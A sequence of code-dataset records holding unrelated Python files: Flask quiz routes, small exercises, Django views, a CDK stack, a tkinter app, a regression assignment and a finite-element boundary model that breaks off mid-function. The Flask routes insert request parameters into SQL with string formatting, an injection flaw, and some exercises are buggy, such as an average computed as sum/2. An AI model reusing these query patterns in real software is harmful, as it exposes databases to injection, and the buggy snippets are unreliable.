os.path.join(current_app.config['IMAGE_PATH'], q['img'])\n image_base64 = str(image2base64(image_path))\n tuple = {\n 'id': q['id'],\n 'image': image_base64,\n 'a': q['a'],\n 'b': q['b'],\n 'c': q['c'],\n 'd': q['d'],\n }\n rv.append(tuple)\n return jsonify(rv)\n\n\n@bp.route('/num_questions', methods=['GET', 'POST'])\n@login_required\ndef num_questions():\n if request.method == 'POST':\n query_parameters = request.args\n num_questions = query_parameters.get('num_questions')\n db = get_db()\n db.execute('UPDATE user SET num_questions_per_time = {} WHERE id = {}'.format(num_questions, g.user['id']))\n db.commit()\n return 'success'\n else:\n query_parameters = request.args\n db = get_db()\n num_questions = db.execute('SELECT num_questions_per_time FROM user WHERE id = {}'\n .format((g.user['id']))).fetchone()['num_questions_per_time']\n return str(num_questions)\n\n\n@bp.route('/next_question_id', methods=['GET', 'POST'])\n@login_required\ndef next_question_id():\n if request.method == 'POST':\n query_parameters = request.args\n next_question_id = query_parameters.get('next_question_id')\n db = get_db()\n db.execute('UPDATE user SET next_question_id = {} WHERE id = {}'.format(next_question_id, g.user['id']))\n db.commit()\n return 'success'\n else:\n db = get_db()\n next_question_id = db.execute('SELECT next_question_id FROM user WHERE id = {}'\n .format((g.user['id']))).fetchone()['next_question_id']\n return str(next_question_id)\n","repo_name":"xudoong/OracleEveryday","sub_path":"flask-server/flaskr/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":6223,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16317379843","text":"august = 22\njoseph = 22\npeter = 20\ntimothy = 25\n\nname_list = [august,joseph,peter,timothy]\nname_dict = {1:\"august\",2:\"joseph\",3:\"peter\",4:\"timothy\"}\nn = 0\n\nfor name in name_list:\n if name == max(name_list):\n print(name_dict[n+1]+\" is the oldest\")\n if name == min(name_list):\n print(name_dict[n+1]+\" is the youngest\")\n \n\n k=name_list[n]\n\n if k in name_list[n+1:]:\n x = name_list[n+1:].index(k)\n print(name_dict[x+n+2]+\" and \"+name_dict[x+1]+\" have same age\")\n n+=1\n \n","repo_name":"MarkTLite/Competitive_Coding","sub_path":"HackerEarth/ages.py","file_name":"ages.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71667202386","text":"#we have to calculate average and sum of element in a list\r\n\r\ns=0\r\nx=list(map(int,input('enter value').split()))\r\nfor i in x:\r\n s=s+i\r\n a=s/2\r\nprint(s)\r\nprint(a)\r\n\r\n \r\n \r\n","repo_name":"Abiram174/python-programming-lab","sub_path":"lst sum nd avg.py","file_name":"lst sum nd avg.py","file_ext":"py","file_size_in_byte":183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16596464511","text":"from django.shortcuts import render\nfrom django.urls import reverse\nfrom django.http import HttpResponseRedirect\nfrom core.forms import DepartmentForm, SchoolForm\nfrom core.models import Department, School\n\ndef index(request):\n return render(request, 'home.html')\n\ndef school_list(request):\n schools=School.objects.all()\n context={\n \"schools\":schools\n }\n\n return render(request,'school_list.html',context)\n\ndef create_school(request):\n form = SchoolForm(request.POST or None)\n\n if(form.is_valid()):\n form.save()\n return HttpResponseRedirect(reverse('core:school_list'))\n context={\n \"form\":form,\n }\n return render(request, 'create_school.html',context)\n\ndef department_list(request):\n departments=Department.objects.all()\n context={\n \"departments\":departments\n }\n\n return render(request,'department_list.html',context)\n\ndef create_department(request):\n form = DepartmentForm(request.POST or None)\n\n if(form.is_valid()):\n form.save()\n return HttpResponseRedirect(reverse('core:department_list'))\n context={\n \"form\":form,\n }\n return render(request, 'create_department.html',context)","repo_name":"MohsinaTabassum/DBMSProject","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1192,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"45072027164","text":"from aws_cdk import core, aws_ecs, aws_ecs_patterns\n\n\nclass QueueFargateStack(core.Stack):\n\n def __init__(self, scope: core.Construct, id: str, **kwargs) -> None:\n super().__init__(scope, id, **kwargs)\n\n # The code that defines your stack goes here\n self.fargate_queue_service = aws_ecs_patterns.QueueProcessingFargateService(\n self, \"QueueService\",\n cpu=512,\n memory_limit_mib=2048,\n image=aws_ecs.ContainerImage.from_asset(\n directory='.',\n file='Dockerfile.queue_service',\n exclude=[\"cdk.out\"]\n ),\n desired_task_count=1\n )\n","repo_name":"adamjkeller/supercharge-ecs-applications-cdk","sub_path":"queue_fargate/queue_fargate/queue_fargate_stack.py","file_name":"queue_fargate_stack.py","file_ext":"py","file_size_in_byte":668,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"70466970065","text":"from tkinter import *\nfrom tkinter import ttk\nfrom tkinter import messagebox\nfrom tkinter import filedialog\nfrom tkcalendar import *\nimport os\n\n\n\nfrom Backend.backend_db import Database\n\ndatabase=Database(\"Metra.db\")\nclass ShowAcceptedPlans:\n def __init__(self,master, employeeId, plan_type):\n self.master = master\n self.employeeId = employeeId\n self.plan_type = plan_type\n \n master.title('All Accepted Plans')\n master.resizable(False, False)\n self.master.geometry(\"{0}x{1}+0+0\".format(self.master.winfo_screenwidth(), self.master.winfo_screenheight()))\n master.configure(background = '#e1d8b9')\n\n self.style = ttk.Style()\n self.style.configure('TFrame', background = '#e1d8b9')\n self.style.configure('TButton', background = '#e1d8b9')\n self.style.configure('TLabel', background = '#e1d8b9', font = ('Arial', 11))\n self.style.configure('Header.TLabel', font = ('Arial', 18, 'bold'))\n self.frame_header = ttk.Frame(master)\n self.frame_header.pack()\n ttk.Label(self.frame_header, style='Header.TLabel', text = \"View Accepted Plans\").grid(row=0, column=1, rowspan=2)\n self.frame_content = ttk.Frame(master)\n self.frame_content.pack()\n\n ttk.Label(self.frame_content, text = 'All Accepted Plans: ' ).grid(row = 0, column = 0, padx = 5, sticky='sw') \n self.list_accepted_plans=Listbox(self.frame_content, height=6,width=35)\n self.list_accepted_plans.grid(row=2,column=0,rowspan=6,columnspan=2)\n self.list_accepted_plans.bind('<>',self.get_selected_accepted_plan)\n ttk.Button(self.frame_content, text = 'Delete Plan', command=self.delete_accepted_plan).grid(row = 2, column= 2, padx= 10, pady=20)\n\n self.view_all_accepted_plans()\n\n def get_selected_accepted_plan(self,event):\n self.index=self.list_accepted_plans.curselection()[0]\n self.selected_tuple=self.list_accepted_plans.get(self.index) \n def view_all_accepted_plans(self):\n self.list_accepted_plans.delete(0,END)\n self.plan_type = 'Accepted'\n for row in database.view_all_accepted_plans(self.plan_type):\n self.list_accepted_plans.insert(END,row)\n self.customerId = row[1]\n def delete_accepted_plan(self):\n database.delete_accepted_plan(self.customerId)\n self.list_accepted_plans.delete(self.index)\n","repo_name":"zelal-Eizaldeen/gui-os","sub_path":"Plan/show_accepted_plans.py","file_name":"show_accepted_plans.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"4295874677","text":"import numpy as np\nfrom sklearn.datasets import load_boston\nimport matplotlib.pyplot as plt\n\nBATCHES = 50\n\nclass BatchSampler(object):\n '''\n A (very) simple wrapper to randomly sample batches without replacement.\n\n You shouldn't need to touch this.\n '''\n \n def __init__(self, data, targets, batch_size):\n self.num_points = data.shape[0]\n self.features = data.shape[1]\n self.batch_size = batch_size\n\n self.data = data\n self.targets = targets\n\n self.indices = np.arange(self.num_points)\n\n def random_batch_indices(self, m=None):\n '''\n Get random batch indices without replacement from the dataset.\n\n If m is given the batch will be of size m. Otherwise will default to the class initialized value.\n '''\n if m is None:\n indices = np.random.choice(self.indices, self.batch_size, replace=False)\n else:\n indices = np.random.choice(self.indices, m, replace=False)\n return indices \n\n def get_batch(self, m=None):\n '''\n Get a random batch without replacement from the dataset.\n\n If m is given the batch will be of size m. Otherwise will default to the class initialized value.\n '''\n indices = self.random_batch_indices(m)\n X_batch = np.take(self.data, indices, 0)\n y_batch = self.targets[indices]\n return X_batch, y_batch \n\n\ndef load_data_and_init_params():\n '''\n Load the Boston houses dataset and randomly initialise linear regression weights.\n '''\n print('------ Loading Boston Houses Dataset ------')\n X, y = load_boston(True)\n features = X.shape[1]\n\n # Initialize w\n w = np.random.randn(features)\n\n print(\"Loaded...\")\n print(\"Total data points: {0}\\nFeature count: {1}\".format(X.shape[0], X.shape[1]))\n print(\"Random parameters, w: {0}\".format(w))\n print('-------------------------------------------\\n\\n\\n')\n\n return X, y, w\n\n\ndef cosine_similarity(vec1, vec2):\n '''\n Compute the cosine similarity (cos theta) between two vectors.\n '''\n dot = np.dot(vec1, vec2)\n sum1 = np.sqrt(np.dot(vec1, vec1))\n sum2 = np.sqrt(np.dot(vec2, vec2))\n\n return dot / (sum1 * sum2)\n\n#TODO: implement linear regression gradient\ndef lin_reg_gradient(X, y, w):\n '''\n Compute gradient of linear regression model parameterized by w\n '''\n\n # see the formula in the assignment writeup\n dim = len(y)\n grad_c = 2.0/dim\n wt = w.transpose()\n accumulator = 0\n for i in range(dim):\n accumulator += - y[i] + np.matmul(wt,X[i])\n lr_grad_w = np.multiply(grad_c * accumulator, wt)\n return lr_grad_w\n\ndef main():\n # Load data and randomly initialise weights\n X, y, w = load_data_and_init_params()\n # Create a batch sampler to generate random batches from data\n batch_sampler = BatchSampler(X, y, BATCHES)\n\n # Example usage\n X_b, y_b = batch_sampler.get_batch()\n batch_grad = lin_reg_gradient(X_b, y_b, w)\n\n # ==== part 3.5 ====\n\n gradL = lin_reg_gradient(X, y, w) # grad of whole L\n dimgradL = gradL.shape\n gradL_s = np.zeros(dimgradL)\n\n K = 500\n m = 50\n invK = (1.)/(K)\n\n # experimental formula as defined in 3.5\n # we sample K batches of size m\n # we continually add up the resulting gradient, gradL_s\n # and then divide by K \n\n for i in range(K):\n Xsample, ysample = batch_sampler.get_batch(m)\n outgradL_s = lin_reg_gradient(Xsample, ysample, w)\n gradL_s = gradL_s + outgradL_s \n\n gradL_s = invK * gradL_s \n\n # cosine similarity and squared distance \n\n cosine_sim = cosine_similarity(gradL, gradL_s)\n squared_dist = np.linalg.norm(gradL - gradL_s)**2\n\n print(\"cosine similarity: \", cosine_sim)\n print(\"squared distance: \", squared_dist)\n\n # cosine more meaningful!\n\n # ==== part 3.6 =====\n\n Msize = 400\n wsize = w.shape[0]\n\n # range of our m values [1,400]\n M = np.linspace(1, 400, num=Msize)\n\n # calculation of variance vector:\n # for each m in [1,400] we construct a gradients matrix of 14 x K size\n # and then we sample batches of size m K times, calculate the gradient, and \n # put each gradient vector as entry gradients[:,j] \n # finally, we manually calculate the variance per each weight in this gradients matrix\n\n variances = np.zeros((wsize,Msize))\n for i in range(Msize):\n gradients = np.zeros((wsize,K))\n for j in range(K):\n Xsmp, ysmp = batch_sampler.get_batch(int(M[i]))\n outgradls = lin_reg_gradient(Xsmp, ysmp, w)\n # this will give a single gradient vector\n gradients[:,j] = outgradls \n\n\n # manual calculation of variances \n\n gradmeans = np.mean(gradients, axis=1)\n gradmeans = np.matrix(gradmeans).transpose()\n gradsubmean = gradients - gradmeans\n entrysq = np.square(gradsubmean)\n gradsum = np.sum(entrysq, axis=1)\n gradvars = (1./(K))*gradsum\n variances[:,i] = gradvars.flatten()\n\n\n\n # log weight variacnes vs. log m\n # we arbitrarily choose w1 \n\n plt.plot(np.log(M), np.log(variances[1,:]))\n plt.title(\"log weight variance vs. m\")\n plt.xlabel(\"log m\")\n plt.ylabel(\"log weight variance\")\n plt.show()\n\n\n# ENTRY POINT:\nif __name__ == '__main__':\n main()","repo_name":"ginkxo/intro-machine-learning","sub_path":"a1/code/q3.py","file_name":"q3.py","file_ext":"py","file_size_in_byte":5296,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"24906229651","text":"# Import Standard Libraries\nimport logging\nimport scipy as np\nimport matplotlib.pyplot as plt\nfrom copy import deepcopy\n\n# Import Local Libraries\nfrom models import Model, Action\nfrom itemset import NodeSet\nfrom shapes import Shape\nfrom algebra import norm\nfrom Voigt import voigt2TensorStrain\n\n#===========================================================================\n# PBCmodel\n#===========================================================================\n\n\nclass PBCmodel(Model):\n \"\"\" Periodic Boundary Conditions Model\n \n Instance Members:\n name = model name\n rank = number of dimensions\n type = model type (\"Periodic\")\n strain = prescribed strain rate\n factor = prescribed coarsening factor\n\n udofTypes = displacement dof types\n tdofTypes = traction dof types\n bshape = boundary element shape\n nIP = number of integration points of bshape\n nnod = number of nodes associated with bshape\n ndof = number of degrees of freedom of bshape\n localrank = local rank (ndim) of bshape\n\n bndNodes = boundary nodes = [xmin, xmax, ymin, ymax]\n tnodeIndices = traction nodes = [xmin, ymin]\n corner0 = corner at xmin & ymin\n corner = [cornerx, cornery]\n\n dx_0 = smallest element dimensions\n box = specimen coordinates\n dx = specimen dimensions\n\n Public Methods:\n PBCModel(name, conf, props, globdat)\n takeAction(action, globdat)\n\n Private Methods:\n __boundingBox(mesh)\n __setTolerances()\n __findBndNodes(mesh)\n __sortBndNodes(mesh)\n __sortBndFace(mesh, bndFace, index)\n __findCornerNodes()\n __findSmallestElement(mesh)\n __createTractionMesh(mesh)\n __coarsenMesh(mesh, trFace, index)\n __get_Matrix_0(mbuild, fint, solu, mesh)\n __getTractionMeshNodes(mesh, x, face)\n __get_Constraints(cons, mesh)\n __plotMeshAndBoundary(mesh)\n __plotBoundary(mesh)\n __advance(i)\n \"\"\"\n\n # Public:\n\n #-----------------------------------------------------------------------\n # constructor\n #-----------------------------------------------------------------------\n\n def __init__(self, name, conf, props, globdat):\n self.name = name\n myConf = conf.makeProps(name)\n myProps = props.getProps(name)\n\n self.type = myProps.get(\"type\", \"Periodic\")\n self.strain = myProps.find(\"strainRate\", None)\n self.factor = myProps.get(\"coarsenFactor\", 1.0)\n self.numTNode = myProps.get(\"numTNode\", 10)\n\n myConf.set(\"type\", self.type)\n myConf.set(\"strainRate\", self.strain)\n myConf.set(\"coarsenFactor\", self.factor)\n myConf.set(\"numTNode\", 10)\n\n mesh = globdat.get(\"mesh\")\n self.rank = mesh.rank\n\n #-----------------------------------------------------------------------\n # initialize\n #-----------------------------------------------------------------------\n\n # Add displacement doftypes\n types = ['u', 'v', 'w']\n self.udofTypes = [types[x] for x in range(self.rank)]\n mesh.addTypes(self.udofTypes)\n\n # Add traction doftypes\n types = ['tx', 'ty', 'tz']\n self.tdofTypes = [types[x] for x in range(self.rank)]\n mesh.addTypes(self.tdofTypes)\n\n # Get specimen dimensions\n self.__boundingBox(mesh)\n self.__setTolerances()\n\n # Get boundary nodes\n self.__findBndNodes(mesh)\n self.__sortBndNodes(mesh)\n\n # Find corner nodes\n self.__findCornerNodes()\n\n # Create boundary element\n self.bshape = Shape.shapeFactory(myConf, myProps)\n self.ipCount = self.bshape.nIP\n self.tnodeCount = self.bshape.nnod\n self.tdofCount = self.tnodeCount*self.rank\n self.localrank = self.bshape.ndim\n if self.localrank != self.rank-1:\n msg = \"Shape ndim = {}. Should be {}\".format(\n self.localrank, self.rank-1)\n raise ValueError(msg)\n\n # Create traction mesh\n self.tnodes = NodeSet()\n self.__findSmallestElement(mesh)\n self.__createTractionMesh2(mesh)\n\n #-----------------------------------------------------------------------\n # takeAction\n #-----------------------------------------------------------------------\n\n def takeAction(self, action, globdat):\n if action == Action.GET_MATRIX_0 or action == Action.GET_INT_VECTOR:\n mesh = globdat.get(\"mesh\")\n mbuild = globdat.get(\"mbuild\")\n fint = globdat.get(\"fint\")\n solu = globdat.get(\"solu\")\n self.__get_Matrix_0(mbuild, fint, solu, mesh)\n return True\n elif action == Action.GET_CONSTRAINTS:\n mesh = globdat.get(\"mesh\")\n cons = globdat.get(\"cons\")\n self.__get_Constraints(cons, mesh)\n return True\n elif action == Action.PLOT_BOUNDARY:\n mesh = globdat.get(\"mesh\")\n self.__plotBoundary(mesh)\n return True\n elif action == Action.PLOT_MESH:\n mesh = globdat.get(\"mesh\")\n self.__plotBoundary(mesh)\n return True\n elif action == Action.ADVANCE:\n self.__advance(globdat.i)\n return True\n else:\n return False\n\n # Private:\n\n #-----------------------------------------------------------------------\n # __boundingBox\n #-----------------------------------------------------------------------\n\n def __boundingBox(self, mesh):\n \"\"\" Sets box = [xmin, xmax, ymin, ymax] \"\"\"\n\n # Create space for box\n self.box_ = np.ones(2*self.rank)\n self.box_[0:2] *= mesh.coords[0][0]\n self.box_[2:4] *= mesh.coords[0][1]\n\n # Create space for dx\n self.dx = np.zeros(self.rank)\n\n # Find specimen coordinates\n for coord in mesh.coords:\n for ix in range(self.rank):\n if coord[ix] < self.box_[2*ix]:\n self.box_[2*ix] = coord[ix]\n if coord[ix] > self.box_[2*ix+1]:\n self.box_[2*ix+1] = coord[ix]\n\n # Find specimen dimensions\n for ix in range(self.rank):\n self.dx[ix] = self.box_[2*ix + 1] - self.box_[2*ix]\n\n # Print to verify\n logging.debug(\" box = {}\".format(self.box_))\n logging.debug(\" dx = {}\".format(self.dx))\n\n #-----------------------------------------------------------------------\n # __setTolerances\n #-----------------------------------------------------------------------\n\n def __setTolerances(self):\n \"\"\" Sets tolerances for finding boundary nodes \"\"\"\n\n self.xtol = []\n for ix in range(self.rank):\n self.xtol.append(\n abs(self.box_[2*ix + 1] - self.box_[2*ix])/1000000)\n\n #-----------------------------------------------------------------------\n # __findBndNodes\n #-----------------------------------------------------------------------\n\n def __findBndNodes(self, mesh):\n \"\"\" Finds bndNodes according to the set tolerances \"\"\"\n\n # Creates space for bndNodes\n self.bndNodes = [[] for face in range(2*self.rank)]\n\n # Loop over every node\n for inod, coord in enumerate(mesh.coords):\n for ix in range(self.rank):\n if abs(coord[ix] - self.box_[2*ix]) < self.xtol[ix]:\n self.bndNodes[2*ix].append(inod)\n if abs(coord[ix] - self.box_[2*ix + 1]) < self.xtol[ix]:\n self.bndNodes[2*ix + 1].append(inod)\n\n #-----------------------------------------------------------------------\n # __findCornerNodes\n #-----------------------------------------------------------------------\n\n def __findCornerNodes(self):\n \"\"\" Finds the intersection of each bndFace \"\"\"\n\n self.corner = []\n if self.rank == 2:\n self.corner0 = self.bndNodes[0][0]\n self.corner.append(self.bndNodes[1][0])\n self.corner.append(self.bndNodes[3][0])\n logging.info(\n \" Corner0 = %i, cornerx = %i, cornery = %i\", \n self.corner0, self.corner[0], self.corner[1])\n elif self.rank == 3:\n raise NotImplementedError(\" Not yet implemented. \")\n\n #-----------------------------------------------------------------------\n # __sortBndNodes\n #-----------------------------------------------------------------------\n\n def __sortBndNodes(self, nodeset):\n \"\"\" Sorts bndNodes in ascending x or y coordinate \"\"\"\n\n # Loop over faces of bndNodes\n for face, bndFace in enumerate(self.bndNodes):\n\n # Map face onto ix\n ix = int(np.floor(face/2))\n # Get correct index\n index = (ix + 1) % 2\n # Perform bubblesort on bndFace\n self.__sortBndFace(nodeset, bndFace, index)\n # Print to verify\n logging.debug(\" bndNodes[{}] = {}\".format(\n face, self.bndNodes[face]))\n\n #-----------------------------------------------------------------------\n # __sortBndFace\n #-----------------------------------------------------------------------\n\n def __sortBndFace(self, nodeset, bndFace, index):\n \"\"\" Sorts bndFace in ascending x or y coordinate \"\"\"\n\n # Bubblesort algorithm\n for inod in range(len(bndFace)):\n for jnod in range(len(bndFace) - 1 - inod):\n\n # Get nodal coordinates\n c0 = nodeset.coords[bndFace[jnod]]\n c1 = nodeset.coords[bndFace[jnod+1]]\n\n # Swap indices if necessary\n if c0[index] > c1[index]:\n bndFace[jnod + 1], bndFace[jnod] = bndFace[jnod], bndFace[jnod + 1]\n\n #-----------------------------------------------------------------------\n # __findSmallestElement\n #-----------------------------------------------------------------------\n\n def __findSmallestElement(self, mesh):\n \"\"\" Finds the smallest element dimension on each bndFace \"\"\"\n\n # smallest element dimensions\n self.dx_0 = deepcopy(self.dx)\n\n # Loop over faces of bndNodes\n for face, bndFace in enumerate(self.bndNodes):\n\n # Map face onto ix\n ix = int(np.floor(face/2))\n\n # Get correct index\n index = (ix + 1) % 2\n\n # Loop over indices of bndFace\n for inod in range(len(bndFace)-1):\n\n # Get nodal coordinates\n c0 = mesh.coords[bndFace[inod]]\n c1 = mesh.coords[bndFace[inod+1]]\n\n # Calculate dx and compare to dx0\n dx = c1[index] - c0[index]\n if dx < self.dx_0[index]:\n self.dx_0[index] = dx\n\n #-----------------------------------------------------------------------\n # __createTractionMesh\n #-----------------------------------------------------------------------\n\n def __createTractionMesh(self, mesh):\n \"\"\" Maps all nodes onto xmin and ymin to create traction mesh \"\"\"\n\n # Create space for tnodeIndices\n self.tnodeIndices = [[] for ix in range(self.rank)]\n\n # Loop over faces of tnodeIndices\n for ix, trFace in enumerate(self.tnodeIndices):\n\n inodes = self.bndNodes[2*ix] # bndFace_min\n jnodes = self.bndNodes[2*ix + 1] # bndFace_max\n mesh.addRows(len(inodes)+len(jnodes))\n\n # Loop over indices of inodes\n for inod in inodes:\n coord = mesh.getCoords(inod)\n coord[ix] = self.box_[2*ix + 1]\n # trFace.append(mesh.addNode(coord)) # self.tnodes\n trFace.append(self.tnodes.addNode(coord))\n\n # Loop over indices of jnodes\n for jnod in jnodes:\n coord = mesh.getCoords(jnod)\n # trFace.append(mesh.addNode(coord)) # self.tnodes\n trFace.append(self.tnodes.addNode(coord))\n\n # Get correct index\n index = (ix + 1) % 2\n\n # Sorting trFace (works only for 2D)\n # self.__sortBndFace(mesh, trFace, index) # self.tnodes\n self.__sortBndFace(self.tnodes, trFace, index)\n\n # Coarsen trFace (works only for 2D)\n # self.__coarsenMesh(mesh, trFace, index) # self.tnodes\n self.__coarsenMesh(self.tnodes, trFace, index)\n\n # if ix == self.rank-1:\n # self.tnodeIndices[ix][-1] = self.tnodeIndices[ix-1][-1]\n\n # Add dofs to traction mesh\n mesh.addDofs(trFace, self.tdofTypes)\n\n # Print to verify\n logging.debug(\" tnodeIndices[{}] = {}\".format(\n ix, self.tnodeIndices[ix]))\n\n # with open('Examples/trCount.dat', 'a') as f:\n # t = (len(self.tnodeIndices[0][0:-1]) + len(self.tnodeIndices[1][0:-1]))/2\n # f.write(\" {} \".format(t))\n\n #-----------------------------------------------------------------------\n # __createTractionMesh\n #-----------------------------------------------------------------------\n\n def __createTractionMesh2(self, mesh):\n \"\"\" Maps all nodes onto xmin and ymin to create traction mesh \"\"\"\n # Create space for tnodeIndices\n self.tnodeIndices = [[] for ix in range(self.rank)]\n connect = np.zeros(self.tnodeCount)\n coords = np.zeros(self.rank)\n mesh.addRows(2*self.numTNode)\n # Loop over faces of tnodeIndices\n for ix, trFace in enumerate(self.tnodeIndices):\n # Get correct index\n iy = (ix + 1) % 2\n ie0 = ix*(self.numTNode - 1)\n x0 = self.box_[2*ix + 1] # max x-coord on face ix\n y0 = self.box_[2*iy] # min y-coord on face ix\n coords[ix] = x0\n dy = self.dx[iy] / (self.numTNode - 1)\n\n for inod in range(self.numTNode):\n coords[iy] = y0 + inod*dy\n # trFace.append(mesh.addNode(coords)) # self.tnodes\n trFace.append(self.tnodes.addNode(coords))\n\n for ie in range(self.numTNode - 1):\n connect[0] = ie0 + ie + ix\n connect[1] = ie0 + ie + ix + 1\n \n mesh.addDofs(trFace, self.tdofTypes) # something wrong here\n \n\n\n #-----------------------------------------------------------------------\n # __coarsenMesh\n #-----------------------------------------------------------------------\n\n def __coarsenMesh(self, nodeset, trFace, index):\n \"\"\" Coarsens the traction mesh \"\"\"\n\n cn = nodeset.getCoords(trFace[-1])\n dx = (self.dx_0[0]+self.dx_0[1])/(2*self.factor)\n\n # Loop over indices of trFace:\n for inod in range(len(trFace)-1):\n\n # Get nodal coordinates\n c0 = nodeset.getCoords(trFace[inod])\n c1 = nodeset.getCoords(trFace[inod+1])\n\n # Delete indices until c1 - c0 > dx\n while norm(c1 - c0) < min(dx, self.dx[index]):\n # Delete current index\n del trFace[inod+1]\n # Assign next node coords to c1\n c1 = nodeset.getCoords(trFace[inod+1])\n\n # Check distance to last node\n if norm(cn - c1) < dx:\n # Delete all indices up to but not including the last one\n del trFace[inod+1:-1]\n return\n\n #-----------------------------------------------------------------------\n # __getTractionMeshNodes\n #-----------------------------------------------------------------------\n\n def __getTractionMeshNodes(self, nodeset, x, face):\n \"\"\" Gets nodes of traction mesh element at given global x \"\"\"\n\n # Map face onto ix\n ix = int(np.floor(face/2))\n\n # Implementation for two dimensions\n if self.rank == 2:\n\n # Loop over indices of trFace\n for inod in range(len(self.tnodeIndices[ix])-1):\n\n # Get coords of nodes in trFace[inod: inod+2]\n connect = self.tnodeIndices[ix][inod:inod+2]\n coords = nodeset.getCoords(connect)\n\n # Get correct index\n index = (ix + 1) % 2\n\n # Check if c0[index] < x[index] < c1[index]\n if coords[0, index] < x[index] < coords[1, index]:\n return connect\n\n raise RuntimeError(\" No connect found. \")\n\n elif self.rank == 3:\n raise NotImplementedError(\" Not yet implemented. \")\n\n #-----------------------------------------------------------------------\n # __get_Matrix_0\n #-----------------------------------------------------------------------\n\n def __get_Matrix_0(self, mbuild, fint, solu, mesh):\n \"\"\" Augments mbuild and fint with Ke, KeT, H, etc. \"\"\"\n\n # Loop over faces of bndNodes\n for face, bndFace in enumerate(self.bndNodes):\n\n # Loop over indices of bndFace\n for inod in range(len(bndFace)-1):\n\n # Get idofs and w from U-mesh\n connect = bndFace[inod:inod+2]\n coords = mesh.getCoords(connect)\n X = self.bshape.getGlobalPoints(coords)\n w = self.bshape.getIntegrationWeights(coords)\n idofs = mesh.getDofIndices(connect, self.udofTypes)\n\n for ip in range(self.ipCount):\n\n # Get jdofs from T-mesh\n # connect = self.__getTractionMeshNodes(mesh, X[ip], face) # self.tnodes\n connect = self.__getTractionMeshNodes(self.tnodes, X[ip], face)\n jdofs = mesh.getDofIndices(connect, self.tdofTypes)\n # coords = mesh.getCoords(connect) # self.tnodes\n coords = self.tnodes.getCoords(connect)\n\n # Get N-matrix from U-mesh\n N = self.bshape.getNmatrix(ip, ndim=self.rank)\n\n # Get H-matrix from T-mesh\n xi = self.bshape.getLocalPoint(X[ip], coords)\n H = self.bshape.evalNmatrix(xi, ndim=self.rank)\n\n # Assemble Ke\n if face % 2 == 0:\n # Negative face\n Ke = + w[ip] * N.transpose() @ H\n elif face % 2 == 1:\n # Possitive face\n Ke = - w[ip] * N.transpose() @ H\n\n KeT = Ke.transpose()\n # Add Ke and KeT matrices to mbuild\n mbuild.addBlock(idofs, jdofs, Ke)\n mbuild.addBlock(jdofs, idofs, KeT)\n\n # Assemble U-mesh and T-mesh fint\n fint[idofs] += Ke @ solu[jdofs]\n fint[jdofs] += KeT @ solu[idofs]\n\n # Variables related to corner displacements\n kdofs = mesh.getDofIndices(self.corner0, self.udofTypes)\n u_fixed = solu[kdofs]\n\n # Loop over faces of tnodeIndices\n for ix, trFace in enumerate(self.tnodeIndices):\n\n idofs = mesh.getDofIndices(self.corner[ix], self.udofTypes)\n u_corner = solu[idofs]\n\n # Loop over indices of trFace\n for inod in range(len(trFace)-1):\n\n # Assemble H matrix\n connect = trFace[inod:inod+2]\n jdofs = mesh.getDofIndices(connect, self.tdofTypes)\n # coords = mesh.getCoords(connect) # self.tnodes\n coords = self.tnodes.getCoords(connect)\n w = self.bshape.getIntegrationWeights(coords)\n\n for ip in range(self.ipCount):\n\n # Assemble H matrix\n H = w[ip] * self.bshape.getNmatrix(ip, ndim=self.rank)\n\n Ht = H.transpose()\n # Add H and Ht matrices to mbuild\n mbuild.addBlock(idofs, jdofs, H)\n mbuild.addBlock(jdofs, idofs, Ht)\n mbuild.addBlock(kdofs, jdofs, -H)\n mbuild.addBlock(jdofs, kdofs, -Ht)\n\n # Assemble U-mesh and T-mesh fint\n fint[idofs] += H @ solu[jdofs]\n fint[jdofs] += Ht @ u_corner\n fint[kdofs] -= H @ solu[jdofs]\n fint[jdofs] -= Ht @ u_fixed\n\n #-----------------------------------------------------------------------\n # __get_Constraints\n #-----------------------------------------------------------------------\n\n def __get_Constraints(self, cons, mesh):\n\n # Fix corner\n idofs = mesh.getDofIndices(self.corner0, self.udofTypes)\n cons.addConstraints(idofs)\n\n # Voigt to tensor\n if self.strain is not None:\n eps = voigt2TensorStrain(self.strain)\n\n # Apply strain\n for ix in range(self.rank):\n for jx in range(self.rank):\n idof = mesh.getDofIndex(\n self.corner[ix], self.udofTypes[jx])\n cons.addConstraint(idof, eps[ix, jx]*self.dx[ix])\n\n #-----------------------------------------------------------------------\n # __plotBoundary\n #-----------------------------------------------------------------------\n\n def __plotBoundary(self, mesh):\n \"\"\" Plots the boundary nodes \"\"\"\n\n fig = plt.figure(figsize=(6, 6))\n ax = fig.add_subplot(111)\n\n for bndFace in self.bndNodes:\n coords = mesh.getCoords(bndFace)\n ax.plot(coords[:, 0], coords[:, 1],\n marker='o', linewidth=0.3, markersize=3, color='k')\n\n for ix, trFace in enumerate(self.tnodeIndices):\n # coords = mesh.getCoords(trFace) # self.tnodes\n coords = self.tnodes.getCoords(trFace)\n coords[:, ix] += self.dx[ix]/10\n ax.plot(coords[:, 0], coords[:, 1],\n marker='o', linewidth=0.3, markersize=3, color='blue')\n\n plt.show()\n\n #-----------------------------------------------------------------------\n # __plotMesh\n #-----------------------------------------------------------------------\n\n def __plotMeshAndBoundary(self, mesh):\n \"\"\" Plots the mesh and boundary nodes \"\"\"\n\n ax = mesh.plotMesh()\n for bndFace in self.bndNodes:\n coords = mesh.getCoords(bndFace)\n ax.plot(coords[:, 0], coords[:, 1],\n marker='o', linewidth=0.3, markersize=3, color='k')\n\n for ix, trFace in enumerate(self.tnodeIndices):\n # coords = mesh.getCoords(trFace) #self.tnodes\n coords = self.tnodes.getCoords(trFace)\n coords[:, ix] += self.dx[ix]/10\n 